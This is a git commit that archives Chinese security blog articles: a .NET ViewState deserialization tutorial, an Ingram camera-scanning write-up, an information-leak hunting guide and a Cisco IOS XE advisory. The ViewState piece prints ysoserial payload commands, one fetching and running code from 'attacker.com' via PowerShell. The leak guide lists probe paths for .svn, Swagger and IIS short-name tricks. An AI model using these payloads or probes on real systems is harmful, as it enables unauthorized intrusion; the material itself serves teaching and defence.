从 .NET 代码审计看 ViewState 反序列化漏洞、漏洞预警 | 用友U8CRM SQL注入漏洞、思科发布IOS XE无线控制器中的关键漏洞更新、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、某云盘系统 API 端点无限制上传漏洞解析、实战中踩过的坑:我是如何用Ingram搞定摄像头漏洞扫描的、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、漏洞预警 | Unibox路由器命令注入漏洞、常见的信息泄露漏洞挖掘(第二部分)、

This commit is contained in:
test 2025-05-09 01:28:36 +00:00
parent 19dd1fc552
commit 0bc1265221
9 changed files with 1310 additions and 4 deletions

View File

@ -13787,5 +13787,15 @@
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487497&idx=1&sn=9ba99fad3e77a68a6ae4c3c91348db3d": "某OA代码审计之挖掘0day未公开poc",
"https://mp.weixin.qq.com/s?__biz=MzA5NzQ0Mjc5NA==&mid=2649768949&idx=1&sn=1ecde373bf55882e9275155658f9e50d": "原力金智SRC上线漏洞盒子 | 「企业SRC」新住客",
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497567&idx=1&sn=0abc159207103dccd3e73039c850bf2a": "一次十分详细的漏洞挖掘记录,新思路+多个高危",
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520404&idx=1&sn=e8a6e80ecf53ea04e94d8c714c68928e": "AI的攻与防基于大模型漏洞基因库的威胁狩猎与企业级纵深防御"
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520404&idx=1&sn=e8a6e80ecf53ea04e94d8c714c68928e": "AI的攻与防基于大模型漏洞基因库的威胁狩猎与企业级纵深防御",
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499624&idx=1&sn=7c645b1f4a16642c32bafc3802d9582a": "从 .NET 代码审计看 ViewState 反序列化漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493070&idx=2&sn=c9f99407ce417bc7b5ebd84f2d42edaa": "漏洞预警 | 用友U8CRM SQL注入漏洞",
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493792&idx=1&sn=a89a0fa01c39e64a57ad642a05f14904": "思科发布IOS XE无线控制器中的关键漏洞更新",
"https://mp.weixin.qq.com/s?__biz=Mzg2MzYzNjEyMg==&mid=2247487203&idx=1&sn=714e8903bd08d274bcaaf0f09d461a65": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
"https://mp.weixin.qq.com/s?__biz=MzU2NzY5MzI5Ng==&mid=2247506359&idx=1&sn=397454a7b547b06a7dc384e188d18259": "某云盘系统 API 端点无限制上传漏洞解析",
"https://mp.weixin.qq.com/s?__biz=MzIxOTM2MDYwNg==&mid=2247513579&idx=1&sn=7378085d9863deac22e2a37990a499d4": "实战中踩过的坑我是如何用Ingram搞定摄像头漏洞扫描的",
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487495&idx=1&sn=ec1e90a954685b653561732410288e2a": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
"https://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247491097&idx=1&sn=ce5a9d032e7a62b5edd058ea86bc7ff6": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493070&idx=3&sn=7c31151901744fd0b812bb3637f38369": "漏洞预警 | Unibox路由器命令注入漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkxODQzOTYxMQ==&mid=2247483896&idx=1&sn=6cb883625f1ea191a575188e8f62fe6e": "常见的信息泄露漏洞挖掘(第二部分)"
}

View File

@ -0,0 +1,162 @@
# 从 .NET 代码审计看 ViewState 反序列化漏洞
专攻.NET安全的 dotNet安全矩阵 2025-05-09 00:24
![图片](https://mmbiz.qpic.cn/mmbiz_gif/NO8Q9ApS1YibJO9SDRBvE01T4A1oYJXlTBTMvb7KbAf7z9hY3VQUeayWI61XqQ0ricUQ8G1FykKHBNwCqpV792qg/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp "")
.NET框架提供了诸如ViewState等便利的状态保持机制但正是这些便利在默认配置和低版本框架中却隐藏着巨大的安全隐患。本文将以.NET ViewState反序列化漏洞为主线讲解如何从代码审计的角度识别风险配置、分析漏洞触发条件并配合实际攻击链演示揭示从一段Base64字符串到命令执行背后的完整原理。
**01. 漏洞背景介绍**
在 .NET Web Forms中ViewState用于将页面状态信息保存在客户端以便于PostBack时还原。依赖 LosFormatter
  ObjectStateFormatter
 进行对象序列化与反序列化。
ViewState机制是asp.net中对同一个Page的多次请求中 维持Page及控件状态的一种机制 ASP.NET 的ViewState是使用Base64的字符串保存在一个隐藏域中的在WebForm中每次请求完Page对象都会被释放这里就有一个问题就是我客户端请求一个 page但是多次请求怎么维护我和page对象之间的状态以及一些信息-----viewstate机制
ViewState的设计目的就是为了将必要的信息持-久化在页面中这样通过ViewState在页面回传 的过程中保存状态值。常见的形式如下图所示。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y96ZsL0PoQ5mNS6dF3kH1PoSOs4JsNE6x6Ag8Pv5RYY3N3NmzMt4H6heRvPA5EHP6sYicvFksvibyjQ/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
## 1.1 ViewState不等于Cookie
Cookie是存在于http请求中的而ViewState仅仅存在于.net 。
Cookie不存在后端解析只需要取值即可
而.net中的ViewState存在于后端解析序列 化和反序列化的操作) Cookie是为了http无状态而产生的ViewState是为了保存WebForm中服务端控件状态进 行持久化而产生的。
## 1.2 ViewState的构成
## 实际的传输中 ObjectStateFormatter 会使用 MachineKey 对信息进行加密或签名。实际环境中传输的数据为__VIEWSTATE__VIEWSTATE的生成过程如下所示
ViewState = serialize(我们控制传输的数据)+0xff+0x01+0x32+... client_id = hash(当前请求路径)+hash(当前请求文件名) MacKeyModifier = client_id + ViewStateUserKey(默认为空) signed_data = new HMACSHA256(web.config里面的密钥).encode(ViewState+MacKeyModifie r); __VIEWSTATE = ViewState + signed_data
## 具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter 进行处理。其返回结 果以FF01作为magic后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复 杂的类型, ObjectStateFormatter 通过二进制序列化方式对这种情况进行支持,其 TypeCode 为 0x32 Value为带有 7bit-encoded 长度前缀的二进制序列化数据。
 Web 表单在多个 HTTP 请求之间保持控件的状态,而无需依赖 Session 或 Cookie。ViewState 的数据存储在 HTML 表单的隐藏字段中通常以 __VIEWSTATE
 变量的形式出现,如下图所示。
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1YicuZMQ4ibNBgfGNpSQX8uWS05iarawcAp1PK1LbeWYGccH4Kd2ZjWVfEyFUDaPsFRrYzVNicRF9m9C3A/640?wx_fmt=jpeg&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
为了防止攻击者篡改序列化数据,.NET 提供了 **ViewState MAC 校验。MAC 校验的作用是通过密钥生成摘要,确保传入的 ViewState 未被伪造。**
### 但问题在于:在某些低版本.NET中MAC校验可以被配置关闭攻击者便可构造恶意序列化对象在服务端被反序列化时触发命令执行。
### 通过修改注册表键值可以强制关闭全局的ViewState MAC验证
```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFrame\v4.0.30319]"AspNetEnforceViewStateMac"=dword:00000000
```
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicduQVYicXuk7bex8G59Yxf1sHNuecNQO8RSNibibibDc3VYfcDrhiagC4ZNoRZ5wZDnKsQN38bEYLl8mA/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
注意根据微软KB2905247说明enableViewStateMac
 在4.5.2及以后的版本已被**强制启用**
,无法通过配置禁用。
**02. 利用链构造使用**
在MAC被禁用的情况下攻击者可以使用 ysoserial.net
 构造合法格式的ViewState payload
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo hacked > C:\windows\temp\test.txt"
```
生成的Base64字符串直接替换页面的 __VIEWSTATE
 参数即可在PostBack阶段被反序列化触发。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicduQVYicXuk7bex8G59Yxf1DvXnibhI3V2AUTAl7fK3YCibb8GfjluYc0a4Flyww50AL5J4VjArPiaNA/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
**03. 代码审计关注点**
#### 代码层注意是否使用了 EnableViewState = true 的控件是否继承了可能触发 ViewState 加载的生命周期函数 LoadViewState, OnInit有无禁用 EventValidation 的逻辑。比如下面关键配置项
```
<pages enableViewStateMac="false"/><machineKey validationKey="..." validation="SHA1"/>
```
#### 因为目标应用配置了静态 machineKey攻击者只需获取该密钥就能签名合法payload
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -nop -c IEX(wget attacker.com)" \--generator=CA0B0334 --validationalg="SHA1"--validationkey="C551753B..."
```
#### 如上利用ysoserial带签名便可以生成payload因此.NET ViewState反序列化漏洞是配置、版本老旧与序列化共同作用下的高危组合。从攻击者视角看它是一条成熟、稳定的攻击链。
**04. 经典案例复现**
ViewStateDecoder2.exe 是一个专门用于解析和分析 .NET ViewState 数据的工具,安全研究人员可以利用来查看其中存储的数据结构,检查是否存在用户数据泄露等,正常的解析数据如下图所示。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicuZMQ4ibNBgfGNpSQX8uWS0dAshJ6XFkPjy6mM7nn796vsXdLbiciaQ48YE8v5HXqjHML3gbib1Xs8Gw/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
攻击者可能利用 ViewStateDecoder2.exe
 构造特定的 ViewState 代码,并尝试触发远程代码执行。
如果解析恶意 ViewState 后调用 Process.Start("calc.exe")
,可能会触发命令执行漏洞,如下图所示。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YicuZMQ4ibNBgfGNpSQX8uWS0o3X2maGtwtDbAcn30eDYDz0tbov65xQqVFHyN63d4pHozq3bViaHCEg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
**04. 代码审计课程学习**
微软的.NET技术广泛应用于全球企业级产品包括其知名的
**Exchange**
**SharePoint**
等,国内如 
**某友的Cloud**
**某通的T系列**
**某蝶的云产品**
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近
**100节内容**
 (还在持续增加),包括
**70个视频+30份PDF文档**
。我们已将内容细致划分为15个分类并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y8fTUcmnHC8g2WjE6SZJIjwdR00lAaNpUuDDlI6Gk1uEEPZxUMlb4FkDvOBLYq92InlzpwmzWeibjQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Y8fTUcmnHC8g2WjE6SZJIjwMahhN19jbtUiax5UWVU0R3n4eick9XQEHyf3lhjE3wvCic9ZFD3h9tWsQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
## 专属福利
1. 学习模式: 代码审计知识星球
**在线录播视频**
 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;
2. 优享福利:加入.NET代码审计星球后
**赠送永久**
dot.Net安全基础入门星球。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YibkE3ACnPUtfbn99XZmI6ANI9DCxS2KHkqiaXBk22ZevuRm08onmEibIUvdEy5zJGCoHg4HAsrgQ22w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
## 课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NO8Q9ApS1YibEfvTKP231YekyMbc9jeicFuh0aAYDSicAg36pkFaC2P1KW0L5NV1HOssmysrPnrP1fzr2rFOmy8lA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yicg4uU8WY8RBMv1Ofe7sfGnpcCfEUPuS43icYEwibLpibKKKdLHr6PsQic3VDl3ibyfOB3P0RvBW882g4Q/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yicg4uU8WY8RBMv1Ofe7sfGnyoVeAYtJVBnLCiaxsQibuJEK5bR98xBUQBVicfKCVlOqffxXfeFxVwgTA/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
星球门票后期价格随着内容和质量的不断沉淀会适当提高,
**越早加入越划算!**
 现在加入星球可享受星球早鸟价,并可
**领取100元优惠券**
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
**可扫描下方老师二维码了解更多详情。**
![图片](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1YibkE3ACnPUtfbn99XZmI6ANBJ4t8XC4ibbWjhzj0447zAJcWgwV9wcDhcibNiax3P7iagSYwn31GEkTBw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")

View File

@ -0,0 +1,153 @@
# 实战中踩过的坑我是如何用Ingram搞定摄像头漏洞扫描的
原创 子午猫 网络侦查研究院 2025-05-09 01:00
![](https://mmbiz.qpic.cn/sz_mmbiz_png/4kCmTUe2v2bujwd3M0M1ICStsbhAHWtth8dQwoBBFoNDafDAzGbm1sCA8bqVWIjs40A8lu9rtuD4yeOOwDNadg/640?wx_fmt=png "")
#
去年冬天参与某关键信息基础设施保卫战HVV行动我盯着Excel表格里密密麻麻的2000多个网络摄像头IP犯了难。这些设备来自海康、大华、宇视、DLink等多个品牌既有部署在老旧厂区的传统安防设备也有新上线的智能摄像头。甲方要求72小时内完成漏洞排查手动逐个验证显然不现实——那段时间我试过市面上3款主流扫描工具要么对小众品牌支持不佳要么扫描速度慢得让人崩溃直到在安全论坛看到有人提到Ingram。
![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/LYy9xnADcdjVQFemFbibvvLQmBl7DVFV3SYBtLHXtqvEOau1WupqnYyehMtFp8jLhMmLcUbL1HHyRbxgzUntEZg/640?wx_fmt=jpeg&tp=wxpic&wxfrom=5&wx_lazy=1 "")
## 一、为什么是Ingram从踩坑到真香的转变
最初我对这个名字略显陌生的开源工具没抱太大希望。毕竟在安防设备扫描领域海康威视的iVMS、大华的PSS等厂商自有工具占据主流但这些工具大多只能检测自家设备对混合品牌环境支持不足。而当时试过的几款通用扫描器在处理摄像头专属协议时经常报错比如ONVIF协议的认证漏洞检测就频频翻车。
抱着试试看的心态下载后发现Ingram的设计简直是为安防扫描量身定制。它不像Nessus那样追求大而全而是聚焦网络摄像头的常见漏洞场景弱口令、未授权访问、特定品牌的历史漏洞比如Hikvision的CVE-2021-36260、Dahua的CVE-2021-33044系列。这种精准定位让我在实战中尝到甜头——某次扫描某小区的监控系统时其他工具漏报的3个DLink摄像头弱口令漏洞被Ingram精准捕获后来证实这些设备确实已被恶意程序植入。
## 二、从环境搭建到实战扫描:步步为营的操作指南
### (一)环境准备的那些坑与解
别看Ingram是Python工具环境配置还是有不少讲究。首次安装时我直接用了Python 3.11结果在导入pycurl库时频繁报错查文档才发现作者特别注明“尽量避开3.11版本”。正确的姿势是:
1. **系统选择**
建议用Kali Linux或UbuntuMacOS理论上可行但部分依赖库需要手动编译Windows用户只能通过WSL运行别问我怎么知道的在Windows下踩过的坑能写篇 troubleshooting指南
1. **虚拟环境**
一定要创建独立虚拟环境避免与系统Python环境冲突。我习惯用venv而非conda激活环境后用pip install -r requirements.txt
安装依赖注意个别二进制文件可能需要提前安装系统包比如libcurl-dev
1. **依赖冲突**
如果遇到cryptography库安装失败大概率是OpenSSL版本问题这时候需要手动编译安装指定版本别慌README里有详细解决步骤
### (二)目标文件格式的魔鬼细节
准备targets.txt时踩过的最大坑是IP端口格式的不统一。起初我按常规扫描器格式写“192.168.1.1:80”结果程序一直报错——原来Ingram支持3种输入格式
- 纯IP默认扫描80、443、8080等常见端口
- IP+端口格式为192.168.1.1:8081
- CIDR范围比如192.168.1.0/24但建议先做端口扫描缩小范围
实战中发现提前用Masscan做端口探测能大幅提升效率。记得那次扫描某工业园区先用Masscan扫出80、8000-9000端口的存活主机导出为ip:port格式后作为输入Ingram的扫描时间直接缩短40%。
### (三)命令行参数的调优艺术
别看官方示例只有简单的python run_ingram.py -i targets.txt -o out
,实际使用时参数调优大有学问:
- **并发数控制**
默认300的并发在千兆网络下没问题但在带宽有限的环境比如某老旧厂区的百兆内网建议降到100-150否则容易出现连接超时
- **漏洞类型过滤**
:通过-t weak-passwd,cve-2021-33044
可以指定扫描特定漏洞类型某次针对Dahua设备的专项扫描用这个参数跳过了其他品牌检测速度提升3倍
- **中断恢复**
神级功能记得有次扫描到凌晨3点突然断网早上重启后直接运行相同命令工具自动跳过已扫描的IP这种“断点续传”在长周期扫描中简直救命
## 三、扫描结果分析:数据背后的安全隐患
当看到控制台输出“Found 29 Snapshot”时那种既兴奋又紧张的感觉至今难忘。打开results_all.csv每一行数据都像一份安全隐患报告
- **弱口令重灾区**
Hikvision设备中“admin12345”“admin”等默认密码占比超过60%某幼儿园的15台设备竟有13台用弱口令让人惊出冷汗
- **历史漏洞活跃**
Dahua的CVE-2021-33044漏洞在新版本固件中已修复但老旧设备尤其是2020年前生产的型号中招率高达40%,某物流仓库的摄像头因未及时升级,差点成为数据泄露入口
- **配置缺陷暴露**
部分设备未关闭HTTP管理端口甚至存在匿名访问漏洞比如某小区摄像头直接通过IP就能查看实时画面这种“裸奔”状态在互联网暴露设备中尤为常见
这里有个实用技巧将扫描结果导入Excel用数据透视表按品牌、漏洞类型分组统计能快速定位高危设备。记得在某次护网行动中我们通过这种方法半小时内锁定3台存在未授权访问漏洞的设备及时阻断了黑客的渗透路径。
## 四、深度解析Ingram背后的技术逻辑与行业痛点
### (一)协议级漏洞检测的实现路径
Ingram之所以高效在于它针对摄像头专属协议做了深度优化
1. **ONVIF协议解析**
通过模拟ONVIF客户端尝试认证检测默认账号密码如“admin/12345”和未授权访问漏洞这比传统端口扫描更精准
1. **品牌特征库**
内置各厂商的漏洞特征指纹比如Hikvision的特定URL路径、Dahua的固件版本识别逻辑能快速定位已知漏洞
1. **流量模型优化**
针对摄像头的HTTP/RTSP/SIP等协议设计轻量化探测包避免传统扫描器的“重载荷”导致设备异常
### (二)行业安全现状:为什么摄像头成为攻击突破口
在与甲方沟通中发现,摄像头安全问题频发有深层原因:
- **部署乱象**
很多单位将摄像头直接接入互联网却未做任何安全防护某连锁超市竟有200+摄像头暴露在公网,且全部使用默认密码
- **固件升级难**
:老旧设备厂商停止维护,新设备虽支持远程升级,但很多用户担心断网风险选择“永不升级”,导致漏洞长期存在
- **管理盲区**
IT部门认为摄像头属于安防设备安防部门不懂网络安全这种管理割裂让很多漏洞成为“三不管”地带
### (三)与传统安全技术的协同作战
Ingram的价值不仅在于漏洞扫描更在于与其他安全技术的联动
- **防火墙策略优化**
根据扫描结果在锐捷RG-WALL防火墙上针对高危设备关闭非必要端口如关闭摄像头的HTTP管理端口仅保留视频流端口
- **入侵检测联动**
将Ingram发现的弱口令设备IP导入Suricata设置针对性规则监控异常登录行为某企业通过这种方式捕获到3次暴力破解尝试
- **漏洞管理闭环**
纳入企业漏洞管理平台如绿盟科技的RSAS实现“扫描-验证-修复-复测”的全流程管控
## 五、从工具到体系:构建摄像头安全防护网
使用Ingram的过程其实是理解摄像头安全体系的绝佳切入点。结合实战经验建议从三个层面构建防护体系
### (一)设备层:筑牢第一道防线
- **初始配置**
:开箱即用的第一件事不是通电,而是修改默认密码(建议用“设备型号+部门+随机字符串”的组合)
- **固件管理**
建立升级台账对支持OTA的设备开启自动更新老旧设备通过离线升级包逐个处理别学某工厂300台设备因拒绝升级导致集体被勒索
- **端口控制**
通过交换机ACL或防火墙策略将摄像头管理端口限制在安防专网禁止直接暴露到互联网
### (二)网络层:构建纵深防御体系
- **VLAN隔离**
将摄像头与办公网络划分不同VLAN某学校通过这种方式在摄像头被入侵后成功阻断横向渗透
- **流量监测**
部署IDS/IPS如奇安信的NGFW针对摄像头的异常流量如大量RTSP连接请求、高频HTTP管理访问触发警报
- **准入控制**
引入802.1X认证确保只有授权设备才能接入网络某智慧园区通过这种方式拦截了17台伪造MAC地址的攻击设备
### (三)管理层面:打破安全孤岛
- **资产建档**
使用资产测绘工具如Zoomeye定期扫描建立“设备型号-IP-负责人-固件版本”的完整台账某医院通过这种方式发现12台“失踪”的摄像头设备
- **应急响应**
制定专项应急预案明确摄像头漏洞的修复优先级比如未授权访问漏洞要求24小时内修复
- **安全意识培训**
:别忽视安防人员的安全意识,某次钓鱼攻击正是通过伪造“摄像头管理系统升级”邮件,骗取了安防管理员的账号密码
## 六、写在最后:工具只是起点,安全需要持续守护
回想起用Ingram扫描出第一个高危漏洞时的兴奋到后来参与多个项目后的冷静逐渐明白一个道理再好的工具也只是安全体系的一环。那次在某化工园区尽管Ingram高效检出了所有漏洞但真正让安全落地的是甲方痛定思痛建立的设备准入机制和定期扫描制度。
现在每当看到网络上曝光的摄像头安全事件比如某商场摄像头被劫持直播我都会想起Ingram控制台跳动的进度条——那不仅是数据的流动更是网络安全工作者与黑产对抗的缩影。工具会不断迭代漏洞会持续出现但不变的是我们对安全底线的坚守。
如果你也在为摄像头安全发愁不妨试试Ingram下载链接
https://github.com/jorhelp/Ingram。但请记住工具只是起点真正的安全始于每个从业者对细节的较真成于整个行业对体系的构建。愿我们守护的每一个摄像头都成为安全的眼睛而非漏洞的窗口。
**END**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/4kCmTUe2v2bujwd3M0M1ICStsbhAHWtt0VVqCfFLOVnpmeNJ3R59doWtI0AmqLn4Qkic8aAS06l0pATjcYx10zw/640?wx_fmt=png "")

View File

@ -0,0 +1,133 @@
# 常见的信息泄露漏洞挖掘(第二部分)
原创 LA安全 LA安全实验室 2025-05-09 01:02
哈喽,各位大佬们!
上次的信息泄露漏洞文章被各位点赞,我感动得差点把键盘敲出火星子🔥!为了报答大家的厚爱,我写出了第二弹——这次可是干货满满(其实漏洞很好挖掘),包教包会,学不会算我输!
PS 文末送小工具,手快有,手慢无哦~
1.
报错页面信息泄漏
这个就是咱们在正常测试的时候,通过输入一些特殊的字符,如‘’,!,# 等特殊符号让这个网站来报错,致使出现一些错误信息。
漏洞级别:
中危
举例
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjm3QVzopUcqAb6ibJ4zmHT7rNuibjUK6KEFlstujB7ibOXv9zicaWqUHnQzQ/640?wx_fmt=png&from=appmsg "")
这个就是我在测试的时候在url里输入了一个单引号没想到他竟然报错了那么很有可能就存在SQL注入漏洞我们就可以接着往下测试了。
2. 
.SVN信息泄露
这个漏洞官方定级是低危但是这个漏洞综合来看还是比较有危害的一旦网站出现SVN漏洞其危害远比其他漏洞等其它常见网站漏洞更为致命因为黑客获取到网站源代码后一方面是掠夺了网站的技术知识资产另一方面黑客还可通过源代码分析其它安全漏洞从而对网站服务器及用户数据造成持续威胁
漏洞级别:
低危
我们只需要访问http://[ip]/CVS/Entriesp 以及http://[ip]/.svn/entriesp看是否成功即可
举例
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjmy5EGNSLV0g8Lap65icfUtdljSdeWjae1nAhLDLicm8TFNDLoC64BQqRQ/640?wx_fmt=png&from=appmsg "")
如果有会下载这些文件,造成信息泄露
3.内网IP信息泄露
没错内网IP泄露也算漏洞当然这算水洞大家要是实在没找到漏洞可以写不过不建议写太多
漏洞级别:
信息(低危)
这些漏洞一般用扫描器或者网页底部都会有显示啦,实在不行查看源代码也会发现一些的。
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjmibA9T1MrcjibqpzHLbckibAvejzKOapNbzhOFUhiazlhW0ntyTP4oeyecw/640?wx_fmt=png&from=appmsg "")
4.接口泄露漏洞
接口泄露漏洞有很多种,这里给大家举几个例子。
1
Swagger接口
```
/swagger/ui/index
/swagger-ui.html
/api/swagger-ui.html
```
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjmgUiblV4H0VdZicrHzCRdS1q867n1icqGsZhSWBmB8CB9MdgyxAg81btFw/640?wx_fmt=png&from=appmsg "")
2
WordPress API
```
/wp-json/wp/v2/users
```
这个接口可能暴露用户的ID、名称等敏感信息。攻击者可以使用这些信息进行暴力破解、凭据填充或密码喷射攻击。
 
3
JavaScript接口拼接
像一些JS模块利用接口拼接来获取配置信息这可能导致通用信息泄露漏洞。例如使用工具如 findsomething, Packer-Fuzzer-master, jsfind 等寻找接口以及后端配置文件。
我们可以使用自动化工具批量抓取JS文件
通过FindSomething
、Dirsearch
、Sublist3r等工具来获取js文件。
然后在人工的去分析js的内容分析手段有以下几种
```
直接打开JS文件搜索关键字
api寻找API接口地址
secret寻找硬编码密钥
token寻找认证令牌生成逻辑
username/password寻找默认账号密码
```
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjmZv9Wrvw8BYNheB9sumyn2AjC7sg5k6hibtXnibIODAlU11CljHUpZw0A/640?wx_fmt=png&from=appmsg "")
像这里泄露的user就是把自己的账号密码泄露了。从而轻易进入系统
5.IIS短文件名泄露漏洞
这个漏洞的测试方法也是比较简单的,比如
输入域名http://1.1.1.1:8888 /*~1*/1.aspx,回显是下边的图片样子
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjmfqXAEZc2WFmApg1KyxCOlE0PVV3f4rrRCAmiaG0YZKpPwmiaggmCltEg/640?wx_fmt=png&from=appmsg "")
然后我们再进行
http://1.1
.1.1:88
88 
/zz*~1*/1.aspx。当他出现如下图所示的样子
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjm9V2GAotFTMzFTDP69OCib0aZaWiblHEuqme5xlvBw7pLyFlV50y1lxQg/640?wx_fmt=png&from=appmsg "")
当然这个漏洞也有专门的测试工具,只要存在这个漏洞,就会一键测试出来哦
![](https://mmbiz.qpic.cn/mmbiz_png/x8YAD23kQW0wRm81fLy66u0uDohRpAjm4nVy4N6nBT9q2cRGrZia1xlb0LYZDnicmLWh42MfVz52RQbSdYib51cZQ/640?wx_fmt=png&from=appmsg "")
在这里将这个工具分享给大家:
通过网盘分享的文件iis_短文件名泄露漏洞扫描.zip
链接: https://pan.baidu.com/s/1bApo1rmk12SSl2oEjHQrnQ?pwd=94dw 提取码: 94dw 
有需要学习网安知识的可以扫码进群啦,群内不定期发放各种积分福利哦!
![](https://mmbiz.qpic.cn/mmbiz_jpg/x8YAD23kQW2nqGGLxPAliaFiaXgk5tXicy8xc6MDFQaION3nJJGdsaWfaabL4FgeQavCUFx9Hgic2KFdN1GoOm4DKA/640?wx_fmt=jpeg&from=appmsg "")

View File

@ -0,0 +1,23 @@
# 思科发布IOS XE无线控制器中的关键漏洞更新
鹏鹏同学 黑猫安全 2025-05-09 00:58
![](https://mmbiz.qpic.cn/sz_mmbiz_png/8dBEfDPEceib2KwN20RwmZDqvtb6iabwy50ebugkICEvAP4GuxuuC8zmKGvbEVVNRYQSGynZgC24fewY0XdB90xQ/640?wx_fmt=png&from=appmsg "")
思科针对IOS XE无线控制器系统漏洞编号CVE-2025-20188CVSS评分10分发布安全更新。未经身份验证的远程攻击者可利用该漏洞向受控系统植入任意文件。
攻击者通过向AP镜像下载接口发送特制HTTPS请求可能获取root权限并执行任意命令。思科安全公告指出"思科IOS XE无线控制器(WLC)的带外AP镜像下载(OoB AP Image Download)功能存在漏洞允许未经认证的远程攻击者向受影响系统上传任意文件。该漏洞源于系统存在硬编码的JSON Web Token(JWT)成功利用可导致攻击者上传文件、执行路径遍历并以root权限运行命令。"
该漏洞仅在启用"带外AP镜像下载"功能时存在攻击风险,思科强调该功能默认处于关闭状态。受影响产品包括:
- 云平台Catalyst 9800-CL无线控制器
- Catalyst 9300/9400/9500系列交换机内置的9800嵌入式无线控制器
- Catalyst 9800系列无线控制器
- Catalyst AP内置无线控制器
用户可通过运行命令"show running-config | include ap upgrade"检测,若返回"ap upgrade method https"则表明功能已启用。思科表示:"禁用该功能后系统将自动切换至CAPWAP协议进行AP镜像更新且不会影响AP客户端状态。"
